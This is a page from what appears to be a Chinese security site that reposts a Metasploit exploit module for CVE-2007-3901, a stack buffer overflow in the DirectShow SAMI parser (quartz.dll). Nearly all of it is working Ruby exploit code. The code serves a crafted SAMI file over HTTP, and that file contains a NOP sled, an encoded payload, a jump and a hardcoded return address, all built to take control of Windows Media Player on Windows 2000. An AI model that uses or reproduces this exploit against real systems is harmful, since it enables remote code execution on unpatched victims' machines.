首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft DirectX DirectShow SAMI Buffer Overflow(MSF)
来源:http://www.metasploit.com 作者:MC 发布时间:2009-11-27  
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft DirectX DirectShow SAMI Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in the DirectShow Synchronized
					Accessible Media Interchanged (SAMI) parser in quartz.dll. This module
					has only been tested with Windows Media Player (6.4.09.1129) and 
					DirectX 8.0.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision
, 'References' => [ [ 'CVE', '2007-3901' ], [ 'OSVDB', '39126' ], [ 'MSB', 'MS07-064' ], [ 'BID', '26787' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro SP4 English', { 'Offset' => 22412, 'Ret' => 0x75022ac4 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Dec 11 2007', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 8080 ]) ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) client.get_once buffer = make_nops(target['Offset'] - payload.encoded.length) + payload.encoded buffer << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') buffer << make_nops(10) + [0xe8, -485].pack('CV') + rand_text_english(132324) header = "HTTP/1.1 200 OK\r\n" header << "Content-Type: application/smil\r\n\r\n" body = "<SAMI>\r<HEAD>\r<STYLE TYPE=\"text/css\">\r" body << "<!--\rP {font-size: 1em;\rfont-family: Arial;\r" body << "font-weight: normal;\rcolor: #FFFFFF;\r" body << "background: #FFFFFF;\rtext-align: center;\r" body << "padding-left: 2px;\rpadding-right: 2px;\r" body << "padding-bottom: 2px;\r}\r.ENUSCC { Name: English; lang: EN-US-CC; }\r" body << "-->\r</STYLE>\r</HEAD>\r<BODY>\r" body << "<SYNC Start=\"0\" pippo=\"" + buffer body << "\"><P Class=\"ENUSCC\"></P></SYNC></BODY></SAMI>" sploit = header + body print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...") client.put(sploit) handler(client) service.close_client(client) end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Realtek Media Player Playlist
·eIQNetworks ESA License Manage
·MailEnable Authorization Heade
·Eureka Mail Client Remote Buff
·Trend Micro ServerProtect 5.58
·MDaemon <= 6.8.5 WorldClient f
·Microsoft ASN.1 Library Bitstr
·RealPlayer ierpplug.dll Active
·SentinelLM UDP Buffer Overflow
·GAMSoft TelSrv 1.5 Username Bu
·PSO Proxy v0.91 Stack Overflow
·mIRC IRC URL Buffer Overflow(M
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved